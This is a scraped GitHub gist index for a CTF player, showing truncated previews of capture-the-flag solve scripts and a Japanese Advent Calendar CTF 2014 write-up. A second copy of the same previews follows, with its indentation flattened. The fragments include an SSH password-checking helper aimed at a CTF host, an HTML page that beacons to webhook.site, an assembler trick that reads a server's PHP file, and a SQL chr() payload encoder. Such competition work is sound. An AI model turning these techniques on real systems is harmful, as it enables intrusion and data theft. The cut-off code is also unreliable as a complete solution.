st98 st98

## gist:1edae6909a60c7c05d7705dd3ec2e3b5
No flag here 😀

## memo.md

      
              1 file
            
          
              0 forks
            
          
              1 comment
            
          
              1 star
            
          
                st98
                / memo.md
            
            
              Last active
              June 4, 2022 04:37
            
              
                Advent Calendar CTF 2014 の write-up。ブログに移動しました -> https://st98.github.io/diary/posts/2014-12-26-adctf.html
              
          
    Advent Calendar CTF 2014

ぼっチーム omakase として参加した。最終的に獲得できたポイントは 173 点でチーム順位は 24 位 (505 チーム中) だった。

1 ~ 14 日目、21 ~ 22 日目、25 日目の問題を解いた。
1 日目 warmup (misc)

'0x41444354465f57334c43304d335f37305f414443374632303134'.match(/[0-9a-f]{2}/g).map(function(c){return String.fromCharCode(parseInt(c, 16))}).join('');
flag: ADCTF_W3LC0M3_70_ADC7F2014


## solve.py
import paramiko
from pwn import *

context.log_level = 'error'

def check(password):
  try:
    conn = ssh(host='fsociety-04.play.midnightsunctf.se', port=2222, user='elliot', password=password)
    conn.close()
    return True

## exp.html
<body>
  <style>
  iframe {
    width: 300px;
    height: 200px;
  }
  </style>
  <img src="http://httpstat.us/200?sleep=100000">
  <img src="https://webhook.site/...?start">
  <script>

## oh-my-hash.py
# `dmin, cdmin, edmin, idmin, qdmin, Admin, !dmin
s = '''3dbd6c666db1e6ecbf391ff37622f30f
bdbd48266da0fee8dd190fe16e26f3cf
2d9f446765b1cefd95980fa35e32f24f
1dac5c6e7db1aee08d11a7e33c8ef15f
3d3d6c664d31fef8bd1d4ee36f32f3cf
3cbd4c662ca1eec8dd11afc35c0e634e
3db5c4626db3eef8151d0be37f27e347'''.splitlines()
s = [bin(int(c, 16))[2:].rjust(128, '0') for c in s]

## build.py
import os
import re
import sys

def str_to_list(a):
    return ','.join(str(ord(c)) for c in a)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print 'gimme argv'

## one_quadrillion.py
import re
import requests

def extend(original_hash, data_to_add, start):
  T = [5676567,  858051, 5476703, 265259, 4058727, 5112531,  964143, 1099579, 8277687, 8717411, 2022783, 7207499, 1997447, 5864691,  828623, 3917019]
  v = [int(x) for x in re.findall(r'.{7}', original_hash)]

  i = start
  for block in re.findall(r'.{7}', data_to_add)[::-1]:
    s = int(block)

## pascal_homomorphicity.py
from pwn import *

s = remote('crypto.kosenctf.com', 8002)
s.recvline()

encrypted = int(s.recvline())
s.recvline()

table = ''.join(sorted('{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_- !?#'))

## solve.py
import re
import requests
from urllib.parse import quote

code = '''
1;
asm goto (""::::a);
goto b;

a: asm(".incbin \\"/srv/olc/public/calc.php\\"");

## exp.py
import json
import requests
import urllib.parse

def f(s):
  return 'chr(' + ')||chr('.join(str(ord(c)) for c in s) + ')'

ip = f('::ffff:(IP address)')

res = ''
	import paramiko
	from pwn import *

	context.log_level = 'error'

	def check(password):
	try:
	conn = ssh(host='fsociety-04.play.midnightsunctf.se', port=2222, user='elliot', password=password)
	conn.close()
	return True
	<body>
	<style>
	iframe {
	width: 300px;
	height: 200px;
	}
	</style>
	<img src="http://httpstat.us/200?sleep=100000">
	<img src="https://webhook.site/...?start">
	<script>
	# `dmin, cdmin, edmin, idmin, qdmin, Admin, !dmin
	s = '''3dbd6c666db1e6ecbf391ff37622f30f
	bdbd48266da0fee8dd190fe16e26f3cf
	2d9f446765b1cefd95980fa35e32f24f
	1dac5c6e7db1aee08d11a7e33c8ef15f
	3d3d6c664d31fef8bd1d4ee36f32f3cf
	3cbd4c662ca1eec8dd11afc35c0e634e
	3db5c4626db3eef8151d0be37f27e347'''.splitlines()
	s = [bin(int(c, 16))[2:].rjust(128, '0') for c in s]
	import os
	import re
	import sys

	def str_to_list(a):
	return ','.join(str(ord(c)) for c in a)

	if __name__ == '__main__':
	if len(sys.argv) < 2:
	print 'gimme argv'
	import re
	import requests

	def extend(original_hash, data_to_add, start):
	T = [5676567, 858051, 5476703, 265259, 4058727, 5112531, 964143, 1099579, 8277687, 8717411, 2022783, 7207499, 1997447, 5864691, 828623, 3917019]
	v = [int(x) for x in re.findall(r'.{7}', original_hash)]

	i = start
	for block in re.findall(r'.{7}', data_to_add)[::-1]:
	s = int(block)
	from pwn import *

	s = remote('crypto.kosenctf.com', 8002)
	s.recvline()

	encrypted = int(s.recvline())
	s.recvline()

	table = ''.join(sorted('{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_- !?#'))
	import re
	import requests
	from urllib.parse import quote

	code = '''
	1;
	asm goto (""::::a);
	goto b;

	a: asm(".incbin \\"/srv/olc/public/calc.php\\"");
	import json
	import requests
	import urllib.parse

	def f(s):
	return 'chr(' + ')\|\|chr('.join(str(ord(c)) for c in s) + ')'

	ip = f('::ffff:(IP address)')

	res = ''